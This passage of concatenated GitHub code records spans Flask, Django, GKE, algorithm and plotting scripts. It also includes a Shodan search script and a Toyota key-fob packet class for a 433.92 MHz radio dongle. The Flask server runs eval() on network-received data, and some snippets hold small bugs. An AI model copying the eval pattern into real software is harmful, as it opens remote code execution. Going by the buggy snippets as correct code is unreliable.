**extra_email_context\n }\n\n subject = loader.render_to_string(subject_template_name, context)\n # Email subject *must not* contain newlines\n subject = ''.join(subject.splitlines())\n body = loader.render_to_string(email_template_name, context)\n\n email_message = EmailMultiAlternatives(subject, body, from_email, [email])\n\n email_message.send()\n","repo_name":"ernestone/docker-compose_geodjango_postgres_nginx","sub_path":"sample_admin_app/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":3869,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"18494809014","text":"import requests\nfrom flask_cors import *\nfrom flask import Flask, render_template, Response\nimport threading\nimport time\nfrom flask import request\nfrom flask import jsonify\napp = Flask(__name__)\nCORS(app, supports_credentials=True)\n\nimport os\nimport cv2\nimport math\nimport h5py\nimport subprocess\nimport numpy as np\nimport open3d as o3d\nfrom datetime import datetime\nfrom skimage.color import label2rgb\nfrom Service.wy.api_wang import reconstruct_from_rgb, pose_estimation_from_rgb\nfrom Service.lhw.api_liu import reconstruct_from_depth\nfrom Service.lhw.src.fusion_depth import meshwrite_color\nfrom Service.lst.api_lst import api_semantic_segmentation\nfrom DAO.dao_sensordata import addSensorData\nfrom DAO.dao_algorithm import addAlgorithmResData\n# TODO: import DAO class and function\n\n# store all data received in one operation\nreceived_data = []\n\nclass DownThread:\n def __init__(self):\n self._running = False\n self.url = None\n\n def start(self):\n self._running = True\n\n def terminate(self):\n self._running = False\n\n def run(self):\n while True:\n if self._running:\n global received_data\n url = \"http://172.27.142.89:5000/upload_sensor_data\"\n res = requests.post(url=url,data={})\n #print(res.text)\n received_data.append(res.text)\n time.sleep(0.1)\n\ndownload_sensor_data = DownThread()\ndownload_sensor_data_thread = threading.Thread(target=download_sensor_data.run)\ndownload_sensor_data_thread.start()\n\n@app.route('/startrecording', methods=['POST'])\n@cross_origin()\ndef startrecording():\n url = request.get_json()['url']\n download_sensor_data.url = url\n download_sensor_data.start()\n return jsonify({})\n\n\n@app.route('/endrecording', methods=['POST'])\n@cross_origin()\ndef endrecording():\n download_sensor_data.terminate()\n process_sensor_data()\n return jsonify({})\n\ndef process_sensor_data():\n # process and store sensor data\n global received_data\n print(len(received_data))\n if len(received_data) == 0:\n return\n\n # create folder of sensor data\n date = datetime.strftime(datetime.now(), '%Y-%m-%d-%H-%M-%S')\n dir_path = os.path.dirname(os.path.realpath(__file__)) + \"/Data/\" + date\n isExists = os.path.exists(dir_path)\n if not isExists:\n os.makedirs(dir_path)\n dir_path = dir_path + \"/\"\n\n # use first frame as a sample data\n sample_data = received_data[0].replace(\"null\", \"None\")\n sample_data = eval(sample_data) # get 'dict' type data\n\n # video frame list and VideoWriter\n fourcc = cv2.VideoWriter_fourcc(*'XVID')\n # rgb video param\n rgb_frame_list = []\n rgb_frame_size = sample_data[\"rgb_size\"]\n rgb_video_path = [dir_path + \"rgb_video.avi\", dir_path + \"rgb_video.mp4\"]\n rgb_videoWriter = cv2.VideoWriter(rgb_video_path[0], fourcc, 30, (rgb_frame_size[1], rgb_frame_size[0]))\n # depth video param\n if sample_data[\"depth_raw\"] is None:\n depth_isExist = False\n else:\n depth_isExist = True\n depth_frame_list = []\n depth_frame_size = sample_data[\"depth_size\"]\n depth_video_path = [dir_path + \"depth_video.avi\", dir_path + \"depth_video.mp4\"]\n depth_videoWriter = cv2.VideoWriter(depth_video_path[0], fourcc, 30, (depth_frame_size[1], depth_frame_size[0]))\n # lidar video param\n if sample_data[\"lidar_raw\"] is None:\n lidar_isExist = False\n else:\n lidar_isExist = True\n lidar_frame_list = []\n lidar_frame_size = [600, 600]\n lidar_video_path = [dir_path + \"lidar_video.avi\", dir_path + \"lidar_video.mp4\"]\n lidar_videoWriter = cv2.VideoWriter(lidar_video_path[0], fourcc, 30, (lidar_frame_size[1], lidar_frame_size[0]))\n\n # save cover for this sensor data\n cover_path = dir_path + \"cover.jpg\"\n cover = np.array(sample_data[\"rgb_frame\"], dtype=np.uint8)\n cover = cover.reshape((rgb_frame_size[0], rgb_frame_size[1], 3))\n cover = cv2.cvtColor(cover, cv2.COLOR_RGB2BGR) # opencv use BGR channel\n cv2.imwrite(cover_path, cover)\n\n for data in received_data:\n data = data.replace(\"null\", \"None\")\n data = eval(data) # get 'dict' type data\n\n # write rgb video\n rgb_frame = np.array(data[\"rgb_frame\"], dtype=np.uint8)\n rgb_frame = rgb_frame.reshape((rgb_frame_size[0], rgb_frame_size[1], 3))\n rgb_frame_list.append(rgb_frame)\n bgr_frame = cv2.cvtColor(rgb_frame, cv2.COLOR_RGB2BGR) # opencv use BGR channel\n rgb_videoWriter.write(bgr_frame)\n\n # write depth video\n if depth_isExist:\n uint8_depth_frame = np.array(data[\"depth_raw\"], dtype=np.uint8)\n depth_frame = uint8_depth_frame.view(' 600 or y < -600 or x<-600 or x>600:\n x=0\n y=0\n cv2.line(lidar_frame,(300, 300),(x+300,y+300),(255,0,0),2)\n angle= angle + data[\"lidar_angle_increment\"] \n cv2.circle(lidar_frame, (300, 300), 2, (255, 255, 0))\n lidar_videoWriter.write(lidar_frame)\n\n # write video and change to h264 mp4\n devNull = open(os.devnull, 'w')\n rgb_videoWriter.release()\n cmd = 'ffmpeg -y -i {} -vcodec h264 {} && rm {}'.format(rgb_video_path[0], rgb_video_path[1], rgb_video_path[0])\n subprocess.Popen(cmd, stdout=devNull)\n depth_videoWriter.release()\n cmd = 'ffmpeg -y -i {} -vcodec h264 {} && rm {}'.format(depth_video_path[0], depth_video_path[1], depth_video_path[0])\n subprocess.Popen(cmd, stdout=devNull)\n lidar_videoWriter.release()\n cmd = 'ffmpeg -y -i {} -vcodec h264 {} && rm {}'.format(lidar_video_path[0], lidar_video_path[1], lidar_video_path[0])\n subprocess.Popen(cmd, stdout=devNull)\n\n # use rgb frames to estimate pose\n poses = pose_estimation_from_rgb(rgb_frame_list, np.array(sample_data[\"rgb_intrin\"]))\n \n # add pose to sensor data\n for i, data in enumerate(received_data):\n data[\"pose\"] = poses[i]\n \n # write data into h5 file\n h5_path = dir_path + \"sensor_data.h5\"\n h5_file = h5py.File(h5_path, 'w')\n for i, data in enumerate(received_data):\n grp = h5_file.create_group(str(i))\n for key, value in data:\n if value is None:\n grp[key] = np.nan\n else:\n grp[key] = value\n h5_file.close()\n\n # rgb reconstruction\n rgb_recon = reconstruct_from_rgb(rgb_frame_list, poses, np.array(sample_data[\"rgb_intrin\"]))\n rgb_recon_path = dir_path + \"rgb_reconstruction.ply\"\n rgb_recon.export(rgb_recon_path)\n\n # depth reconstrunction\n if depth_isExist:\n vertices, triangles, colors = reconstruct_from_depth(depth_frame_list, poses, np.array(sample_data[\"depth_intrin\"]), rgb_frame_list)\n depth_recon_path = dir_path + \"depth_reconstruction.ply\"\n meshwrite_color(depth_recon_path, vertices, triangles, colors)\n\n # rgb semantic segmentation\n rgb_sem_seg_path = dir_path + \"rgb_semantic_segmentation.ply\"\n pcs = o3d.io.read_point_cloud(rgb_recon_path)\n pcs.estimate_normals()\n points = pcs.points\n colors = pcs.colors\n normals = pcs.normals\n pcs = np.concatenate([points, colors, normals], axis=1)\n label = api_semantic_segmentation(pcs)\n colors = [np.random.uniform(0,1,(3)) for _ in range(13)]\n xyz = pcs[:, 6:9]\n rgb = label2rgb(np.array(label), colors = colors)\n ppc = o3d.geometry.PointCloud()\n ppc.points = o3d.utility.Vector3dVector(xyz)\n ppc.colors = o3d.utility.Vector3dVector(rgb)\n o3d.io.write_point_cloud(rgb_sem_seg_path, ppc)\n\n # depth semantic segmentation \n if depth_isExist:\n depth_sem_seg_path = dir_path + \"depth_semantic_segmentation.ply\"\n pcs = o3d.io.read_point_cloud(depth_recon_path)\n pcs.estimate_normals()\n points = pcs.points\n colors = pcs.colors\n normals = pcs.normals\n pcs = np.concatenate([points, colors, normals], axis=1)\n label = api_semantic_segmentation(pcs)\n colors = [np.random.uniform(0,1,(3)) for _ in range(13)]\n xyz = pcs[:, 6:9]\n rgb = label2rgb(np.array(label), colors = colors)\n ppc = o3d.geometry.PointCloud()\n ppc.points = o3d.utility.Vector3dVector(xyz)\n ppc.colors = o3d.utility.Vector3dVector(rgb)\n o3d.io.write_point_cloud(depth_sem_seg_path, ppc)\n\n # write all url to dataset\n sensor_data_id = addSensorData(rgb_video_path[1], depth_video_path[1], lidar_video_path[1], h5_path, date, cover_path)\n addAlgorithmResData(sensor_data_id, 0, \"rgb_reconstruction\", rgb_recon_path)\n addAlgorithmResData(sensor_data_id, 2, \"rgb_semantic_segmentation\", rgb_sem_seg_path)\n if depth_isExist:\n addAlgorithmResData(sensor_data_id, 1, \"depth_reconstruction\", depth_recon_path)\n addAlgorithmResData(sensor_data_id, 3, \"depth_semantic_segmentation\", depth_sem_seg_path)\n\n received_data.clear()\n\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=4000 ,debug=True)","repo_name":"NJU-Magic/back-end","sub_path":"Server/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":10043,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"72264093341","text":"from typing import List\nfrom .keyfob import KeyFobPacket\nfrom .yd_config import YdStickConfig\n\n\nclass InnovaKeyFobPacket(KeyFobPacket):\n \"\"\"\n data structure to hold toyota innova crysta key fob\n \"\"\"\n\n def __init__(self, kfb_list: List[str], kfb_type: str, bpk_recv_time: int) -> None:\n cfg = YdStickConfig(freq_hz=433920000)\n KeyFobPacket.__init__(self, cfg, kfb_list, kfb_type, bpk_recv_time)\n self.__clean()\n\n def __clean(self):\n \"\"\"\n cleans up the bpk for toyota\n :return: None\n \"\"\"\n if len(self.bpk_list[0]) > 236:\n self.bpk_list[0].bpk_drop(237)\n self.bpk_list[0].bpk_pad(3)\n\n @classmethod\n def filter(cls, kfb_bb: List[str]) -> List[List[str]]:\n kfb_bb_list = []\n for kfb_row in kfb_bb:\n if len(kfb_row.split(\":\")[0]) >= 236:\n kfb_bb_list.append([kfb_row])\n return kfb_bb_list\n\n def concat_bpk_list(self) -> str:\n return self.bpk_list[0].bpk + (\"0\" * 4)\n","repo_name":"AlfredDaimari/pukpy","sub_path":"pukpy/cars/toyota.py","file_name":"toyota.py","file_ext":"py","file_size_in_byte":1016,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"24417532527","text":"from termcolor import colored\n\n\ndef sort_priority_use_nonlocal(numbers, group):\n \"\"\" add nonlocal keyword to assign outter value\n\n :param numbers:\n :param group:\n :return:\n \"\"\"\n found = False\n\n def helper(x):\n if x in group:\n nonlocal found\n found = True\n return 0, x\n return 1, x\n numbers.sort(key=helper)\n return found # outer function variable \"found\" not reference inner function\n\n\ndef sort_priority3(numbers, group):\n found = False\n\n def helper(x):\n if x in group:\n # found = found\n return 0, x\n return 1, x\n numbers.sort(key=helper)\n return found # outer function variable \"found\" not reference inner function\n\n\ndef sort_priority2(numbers, group):\n found = False\n\n def helper(x):\n if x in group:\n found = True\n return 0, x\n return 1, x\n numbers.sort(key=helper)\n return found # outer function variable \"found\" not reference inner function\n\n\ndef sort_priority(values, group):\n \"\"\"\n\n :param values:\n :param group:\n :return:\n \"\"\"\n def helper(x):\n if x in group:\n return 0, x\n return 1, x\n values.sort(key=helper)\n\n\ndef call_sort_priority():\n numbers = [8, 3, 1, 2, 5, 4, 7, 6]\n group = {2, 3, 8, 7}\n a = {1:2, 3:5}\n\n print(colored(f'numbers: {numbers}', 'green'))\n print(colored(f'group: {group}', 'green'))\n print(colored(f'a: {a}', 'green'))\n print(colored(f'isinstance(group, dict): {isinstance(group, dict)}', 'magenta'))\n print(colored(f'isinstance(group, set): {isinstance(group, set)}', 'magenta'))\n print(colored(f'isinstance(a, dict): {isinstance(a, dict)}', 'magenta'))\n sort_priority(numbers, group)\n print(colored(f'[Sorted]numbers: {numbers}', 'green'))\n\n\nif __name__ == '__main__':\n call_sort_priority()\n","repo_name":"sanghyunbak/effective_python","sub_path":"com/shbak/effective_python/_01_example/_21_closure/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1873,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"40840964443","text":"#!/usr/bin/env python\n#\n# Scale a GKE Cluster NodePool\n#\n# REFERENCES\n# * https://cloud.google.com/kubernetes-engine/docs/reference/rest/v1/projects.zones.clusters.nodePools/setSize\n\nimport os\nimport json\nfrom base64 import b64decode\nfrom dataclasses import dataclass, field\nfrom googleapiclient import discovery\nfrom oauth2client.client import GoogleCredentials\n\n\n# entrypoint when called from GCP function\ndef main(event, context):\n print(f\"event: {event}\")\n print(f\"context: {context}\")\n\n nodes = 0\n if event.get(\"data\"):\n payload = json.loads(b64decode(event[\"data\"]))\n if payload.get(\"nodes\"):\n nodes = payload[\"nodes\"]\n\n gke_nodepool_scaler(nodes)\n\n\ndef gke_nodepool_scaler(nodes):\n try:\n nodepool_scaler = GKEClusterNodepoolScaler(\n project_id=os.environ[\"PROJECT_ID\"],\n zone=os.environ[\"ZONE\"],\n cluster=os.environ[\"CLUSTER\"],\n nodepool=os.environ[\"NODEPOOL\"],\n nodes=nodes,\n )\n except KeyError as error:\n raise KeyError(f\"environment variable not set: {error}\")\n\n nodepool_scaler.scale()\n\n\n@dataclass\nclass GKEClusterNodepoolScaler:\n project_id: str\n zone: str\n cluster: str\n nodepool: str\n nodes: int\n service: None = field(init=False)\n\n def __post_init__(self):\n credentials = GoogleCredentials.get_application_default()\n self.service = discovery.build(\n \"container\", \"v1beta1\", credentials=credentials, cache_discovery=False\n )\n\n def scale(self):\n print(\n f\"scaling cluster nodepool '{self.project_id}/{self.zone}/{self.cluster}/{self.nodepool}' nodes to: {self.nodes}\"\n )\n\n request = (\n self.service.projects()\n .zones()\n .clusters()\n .nodePools()\n .setSize(\n projectId=self.project_id,\n zone=self.zone,\n clusterId=self.cluster,\n nodePoolId=self.nodepool,\n body={\"nodeCount\": self.nodes},\n )\n )\n\n response = request.execute()\n\n print(json.dumps(response))\n\n\nif __name__ == \"__main__\":\n nodes = 0\n if os.environ.get(\"NODES\"):\n nodes = os.environ[\"NODES\"]\n\n gke_nodepool_scaler(nodes)\n","repo_name":"roobert/gke-cluster-nodepool-scaler","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2287,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"69"} +{"seq_id":"4420516505","text":"from django.shortcuts import render, redirect\nfrom .models import Product, Contact\nfrom .forms import ProductForm\nfrom django.contrib import messages\nimport csv, io\nfrom django.contrib import messages\nfrom django.contrib.auth.decorators import permission_required\n\ndef list_products(request):\n pesquisa = request.GET.get('pesquisa', None)\n if pesquisa:\n products = Product.objects.filter(description__contains =pesquisa)\n #SQL select from clientes nome LIKE %nome%\n #clientes = clientes.filter(nome=termo_busca)\n else:\n products = Product.objects.all()\n return render(request, 'products/lista.html', {'products':products})\n\ndef list_tabela(request):\n pesquisa = request.GET.get('pesquisa', None)\n if pesquisa:\n products = Product.objects.filter(description__contains =pesquisa)\n #SQL select from clientes nome LIKE %nome%\n #clientes = clientes.filter(nome=termo_busca)\n else:\n products = Product.objects.all()\n return render(request, 'products/tabela.html', {'products':products})\n\ndef list_tabela2(request):\n pesquisa = request.GET.get('pesquisa', None)\n if pesquisa:\n products = Product.objects.filter(description__contains =pesquisa)\n #SQL select from clientes nome LIKE %nome%\n #clientes = clientes.filter(nome=termo_busca)\n else:\n products = Product.objects.all()\n return render(request, 'products/tabela2.html', {'products':products})\n\ndef create_products(request):\n form = ProductForm(request.POST or None)\n\n if form.is_valid():\n form.save()\n messages.success(request, ('Salvo Com Seucesso'))\n return redirect('list_products')\n\n return render(request, 'products/inserir.html', {'form':form})\n\ndef update_product(request):\n product = Product.objects.get(id=id)\n form = ProductForm(request.POST or None, instance=product)\n\n if form.is_valid():\n form.save()\n return render(request, 'products-form.html', {'form': form, 'product': product})\n\n\ndef delete_product(request, id):\n product = Product.objects.get(id=id)\n\n if request.method == 'POST':\n product.delete()\n return redirect('list_products')\n\n return render(request, 'prod-delete-confirm.html', {'product': product})\n\n@permission_required('admin.can_add_log_entry')\ndef contact_upload(request):\n template = \"contact_upload.html\"\n\n prompt = {\n # 'order': \"Order of csv should be first_name, last_name, email, ip_address, message\"\n }\n if request.method == \"GET\":\n return render(request, template, prompt)\n\n csv_file = request.FILES['file']\n\n if not csv_file.name.endswith('.txt'):\n messages.error(request, \"This file is not a .txt file\")\n\n data_set = csv_file.read().decode('utf-8')\n io_string = io.StringIO(data_set)\n\n for column in csv.reader(io_string):\n linha = ''.join(str(e) for e in column)\n linha2= linha[:9]\n _, created = Contact.objects.update_or_create(\n first_name= linha2,\n #last_name=column[1],\n # email=column[2],\n #ip_address=column[3],\n #message=column[4]\n )\n\n context = {}\n return render(request, template, context)","repo_name":"Ezequiel-Leocadio/crud","sub_path":"products/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"5995274731","text":"# \nT = int(input())\n# 여러개의 테스트 케이스가 주어지므로, 각각을 처리합니다.\nfor test_case in range(1, T + 1):\n n = int(input())\n senlist = list(map(str, input().split()))\n if n % 2 != 0:\n n += 1\n first = senlist[:n//2]\n secon = senlist[n//2:]\n cnt = 1\n for i in range(len(secon)):\n first.insert(i+cnt,secon[i])\n cnt +=1\n \n print(f\"#{test_case}\",end=' ')\n print(*first)","repo_name":"Lee9Bin/python_algorism","sub_path":"algorism/swea/3499.py","file_name":"3499.py","file_ext":"py","file_size_in_byte":445,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"73731051099","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Feb 12 13:45:55 2019\n\n@author: donsdev\n\"\"\"\ndef possible(dist):\n cnt,i = 1,1\n start = house[0]\n while i <= N-1:\n if house[i] - start >= dist:\n cnt += 1\n start = house[i]\n i += 1\n if cnt >= C:\n return True\n else:\n return False\n \nN,C = map(int,input().split())\nhouse = []\nfor _ in range(N):\n house.append(int(input()))\nhouse.sort()\nleft, right = 1, house[-1] - house[0]\nwhile left <= right:\n mid = (left + right) >> 1\n if possible(mid):\n left = mid + 1\n else:\n right = mid - 1\nprint(right)","repo_name":"Donsworkout/boj_algorithm_python","sub_path":"binary_search/boj_2110.py","file_name":"boj_2110.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"69"} +{"seq_id":"72553750299","text":"import turtle as t\nimport math\n\n\n# Define a function to draw a single Fibonacci square\ndef draw_fibonacci_square(turtle, side_length):\n \"\"\"Draw a square of a given side length.\"\"\"\n for _ in range(4):\n turtle.forward(side_length)\n turtle.left(90)\n\n\n# Define a function to draw multiple Fibonacci squares based on the sequence\ndef draw_fibonacci_squares(turtle, number_of_squares):\n \"\"\"Calculate and draw Fibonacci squares.\"\"\"\n value_one, value_two = 0, 1\n for _ in range(number_of_squares):\n draw_fibonacci_square(turtle, value_two * 20)\n turtle.right(90)\n value_one, value_two = value_two, value_one + value_two\n\n\ndef draw_fibonacci_spiral(turtle, squares):\n \"\"\"Draw a series of Fibonacci squares and arcs that approximate a spiral.\"\"\"\n # Define initial values for the Fibonacci sequence\n a, b = 0, 1\n for i in range(squares):\n # Draw the square\n draw_fibonacci_square(turtle, b * 20)\n # Move the turtle to the start point of the arc\n turtle.penup()\n turtle.forward(b * 20)\n turtle.right(90)\n turtle.pendown()\n # Calculate the radius for the current arc\n radius = b * 20\n # Calculate the extent of the arc based on Fibonacci number\n extent = 90 if i % 4 < 2 else -90\n # Draw the arc\n draw_arc(turtle, radius / 2, extent) # Halve the radius as it's the semi-circle radius\n # Prepare for the next square and arc\n a, b = b, a + b\n # Reposition the turtle to the bottom-right corner of the square\n turtle.penup()\n turtle.setpos(-20 * a, -20 * a)\n turtle.pendown()\n turtle.left(90) # Reset turtle heading to the default\n\n\ndef draw_arc(turtle, radius, extent):\n \"\"\"Draw an arc for the given radius and extent.\"\"\"\n step_angle = 1\n step_length = 2 * math.pi * radius / 360 # Circumference formula\n for _ in range(extent):\n turtle.forward(step_length)\n turtle.left(step_angle if extent > 0 else -step_angle)\n\n\n# Define a function to draw a golden spiral\ngolden_ratio = (1 + math.sqrt(5)) / 2 # Approximate golden ratio\n\n\ndef draw_golden_spiral(turtle, number_of_squares):\n \"\"\"Draw a golden spiral starting with Fibonacci squares.\"\"\"\n radius = 20 # Starting radius, adjust the speed of the spiral\n for i in range(number_of_squares):\n draw_arc(turtle, radius, 90) # Draw a quarter circle arc\n radius *= golden_ratio # Increase radius for the next arc\n\n\n# Set up the screen and turtle\nscreen = t.Screen()\nscreen.setup(1000, 800)\nfibonacci_turtle = t.Turtle()\nfibonacci_turtle.pensize(3)\nfibonacci_turtle.hideturtle()\nfibonacci_turtle.speed(0)\n\n# Draw Fibonacci squares and spiral\ndraw_fibonacci_squares(fibonacci_turtle, 5) # Draw number Fibonacci squares\ndraw_golden_spiral(fibonacci_turtle, 10) # Draw the golden spiral approximation\n\n# Finish drawing and wait for user to click to close the window\nscreen.exitonclick()\n","repo_name":"HienTa2/Hien_100-Days","sub_path":"fibonacci.py","file_name":"fibonacci.py","file_ext":"py","file_size_in_byte":2970,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"6784012248","text":"# -*- coding: utf-8 -*-\nr\"\"\"\nCheck for lrs\n\"\"\"\n\nimport os\nimport subprocess\n\nfrom . import Executable, FeatureTestResult\n\n\nclass Lrs(Executable):\n r\"\"\"\n A :class:`sage.features.Feature` describing the presence of the ``lrs``\n binary which comes as a part of ``lrslib``.\n\n EXAMPLES::\n\n sage: from sage.features.lrs import Lrs\n sage: Lrs().is_present() # optional: lrslib\n FeatureTestResult('lrslib', True)\n \"\"\"\n def __init__(self):\n r\"\"\"\n TESTS::\n\n sage: from sage.features.lrs import Lrs\n sage: isinstance(Lrs(), Lrs)\n True\n \"\"\"\n Executable.__init__(self, \"lrslib\", executable=\"lrs\", spkg=\"lrslib\", url=\"http://cgm.cs.mcgill.ca/~avis/C/lrs.html\")\n\n def is_functional(self):\n r\"\"\"\n Test whether ``lrs`` works on a trivial input.\n\n EXAMPLES::\n\n sage: from sage.features.lrs import Lrs\n sage: Lrs().is_functional() # optional: lrslib\n FeatureTestResult('lrslib', True)\n \"\"\"\n from sage.misc.temporary_file import tmp_filename\n tf_name = tmp_filename()\n with open(tf_name, 'wb') as tf:\n tf.write(\"V-representation\\nbegin\\n 1 1 rational\\n 1 \\nend\\nvolume\")\n devnull = open(os.devnull, 'wb')\n command = ['lrs', tf_name]\n try:\n lines = subprocess.check_output(command, stderr=devnull)\n except subprocess.CalledProcessError as e:\n return FeatureTestResult(self, False,\n reason = \"Call to `{command}` failed with exit code {e.returncode}.\".format(command=\" \".join(command), e=e))\n\n expected = \"Volume= 1\"\n if lines.find(expected) == -1:\n return FeatureTestResult(self, False,\n reason = \"Output of `{command}` did not contain the expected result `{expected}`.\".format(command=\" \".join(command),expected=expected))\n\n return FeatureTestResult(self, True)\n","repo_name":"BrentBaccala/sage","sub_path":"src/sage/features/lrs.py","file_name":"lrs.py","file_ext":"py","file_size_in_byte":1952,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"69"} +{"seq_id":"24422118981","text":"#!/usr/bin/env python\n# Search for sdifferent products in shodan\n\nimport shodan\n\ndef main():\n\n API_KEY = input(\"Enter your shodan api key: \")\n # If you don't want enter your shodan key every time you can define API_KEY as a string like API_KEY = \"YOUR_SHODAN_KEY\"\n api = shodan.Shodan(API_KEY)\n try:\n prod = input(\"Enter product name: \")\n res = api.search(prod)\n\n print(\"Results found {}\".format(res['total']))\n for r in res['matches']:\n print(\"IP: {}\".format(res['ip_str']))\n print(res['data'])\n print(\"\")\n\n except shodan.APIError as e:\n print(\"Error: {}\".format(e))\n\n except KeyboardInterrupt:\n print(\"Exiting...\")\n exit(0)\n\nif __name__ == '__main__':\n main()\n\n","repo_name":"Naategh/PyCk","sub_path":"Web/shodan-prod.py","file_name":"shodan-prod.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"en","doc_type":"code","stars":572,"dataset":"github-code","pt":"69"} +{"seq_id":"33688025730","text":"import sys\ninput = sys.stdin.readline\n\nalpha1,alpha2 = input().rstrip(),input().rstrip()\nlen1,len2 = len(alpha1),len(alpha2)\n\ndp = [[[0,[]]] * (len1+1) for _ in range(len2+1)]\nfor i in range(1,len2+1):\n for j in range(1,len1+1):\n if alpha2[i-1] == alpha1[j-1]:\n dp[i][j] = [dp[i-1][j-1][0]+1,dp[i-1][j-1][1] + [alpha2[i-1]]]\n else:\n if dp[i-1][j][0] >= dp[i][j-1][0]:\n dp[i][j] = dp[i-1][j]\n else:\n dp[i][j] = dp[i][j-1]\n\ncnt, ans = dp[len2][len1]\nprint(cnt)\nprint(\"\".join(ans))\n\n","repo_name":"jmseb3/bakjoon","sub_path":"27.동적 계획법과 최단거리 역추적/9252.py","file_name":"9252.py","file_ext":"py","file_size_in_byte":561,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"16323492126","text":"#%%\nimport numpy as np\nfrom sympy import symbols, simplify, diff\nfrom sympy.vector import CoordSys3D, divergence, curl, gradient\nfrom sympy.plotting import plot3d\nfrom spb import *\n\n# Define symbols\nz, p1, p2 = symbols('z p1 p2')\n\n# Define the coordinate system\nN = CoordSys3D('N')\ni, j, k = N.base_vectors()\nx, y, z = N.base_scalars()\n\n# Magnetic bottle\nBscale = 1.0 + z**2\n\n# Uniform field\n#Bscale = 1.0\n\n#%%\nA = Bscale*(-0.5 * y * i + 0.5 * x * j)\nA\n#%%\nB = curl(A)\nB\n#%%\nBmod = B.magnitude()\nBmod\n#%%\nh = B.normalize()\nh\n#%% Basis vector field\ne1 = h.cross(A.normalize()).simplify()\ne1\n\n#%%\ncurl(e1).simplify()\n#%%\ndivergence(e1).simplify()\n\n# %%\n","repo_name":"krystophny/canonical-guiding-center","sub_path":"things_that_didnt_work/symbolics.py","file_name":"symbolics.py","file_ext":"py","file_size_in_byte":651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"73107894940","text":"# input_element_int_test.py\n#\n# Author: Kangwon Lee (kangwonlee)\n# Date: 22 Oct 2017\n#\n# Unit tests contributed as part of PR #158, \"SISO tf() may not work\n# with numpy arrays with numpy.int elements\"\n#\n# Modified:\n# * 29 Dec 2017, RMM - updated file name and added header\n\nimport unittest\nimport numpy as np\nimport control as ctl\n\nclass TestTfInputIntElement(unittest.TestCase):\n # currently these do not pass\n def test_tf_den_with_numpy_int_element(self):\n num = 1\n den = np.convolve([1, 2, 1], [1, 1, 1])\n\n sys = ctl.tf(num, den)\n\n self.assertAlmostEqual(1.0, ctl.dcgain(sys))\n\n def test_tf_num_with_numpy_int_element(self):\n num = np.convolve([1], [1, 1])\n den = np.convolve([1, 2, 1], [1, 1, 1])\n\n sys = ctl.tf(num, den)\n\n self.assertAlmostEqual(1.0, ctl.dcgain(sys))\n\n # currently these pass\n def test_tf_input_with_int_element_works(self):\n num = 1\n den = np.convolve([1.0, 2, 1], [1, 1, 1])\n\n sys = ctl.tf(num, den)\n\n self.assertAlmostEqual(1.0, ctl.dcgain(sys))\n\n def test_ss_input_with_int_element(self):\n ident = np.matrix(np.identity(2), dtype=int)\n a = np.matrix([[0, 1],\n [-1, -2]], dtype=int) * ident\n b = np.matrix([[0],\n [1]], dtype=int)\n c = np.matrix([[0, 1]], dtype=int)\n d = 0\n\n sys = ctl.ss(a, b, c, d)\n sys2 = ctl.ss2tf(sys)\n self.assertAlmostEqual(ctl.dcgain(sys), ctl.dcgain(sys2))\n","repo_name":"AstusRush/AMaDiA","sub_path":"External_Libraries/python_control_master/control/tests/input_element_int_test.py","file_name":"input_element_int_test.py","file_ext":"py","file_size_in_byte":1509,"program_lang":"python","lang":"en","doc_type":"code","stars":250,"dataset":"github-code","pt":"69"} +{"seq_id":"32593152760","text":"\"\"\"\nFileName: 19_基于requests和BS4的三国演义名著定向爬虫\nDate: 12 11\nAuthor: lvah\nConnect: 976131979@qq.com\nDescription:\n 1. 根据网址http://www.shicimingju.com/book/sanguoyanyi.html获取三国演义主页的章节信息.\n 2. 分析章节信息的特点, 提取章节的详情页链接和章节的名称。\n
  • ,li的详情信息如下:\n
  • 第一回·宴桃园豪杰三结义 斩黄巾英雄首立功
  • \n 3. 根据章节的详情页链接访问章节内容\n
    \n 4. 提取到的章节内容包含特殊的标签, eg:
    ==> '\\n'

    ,

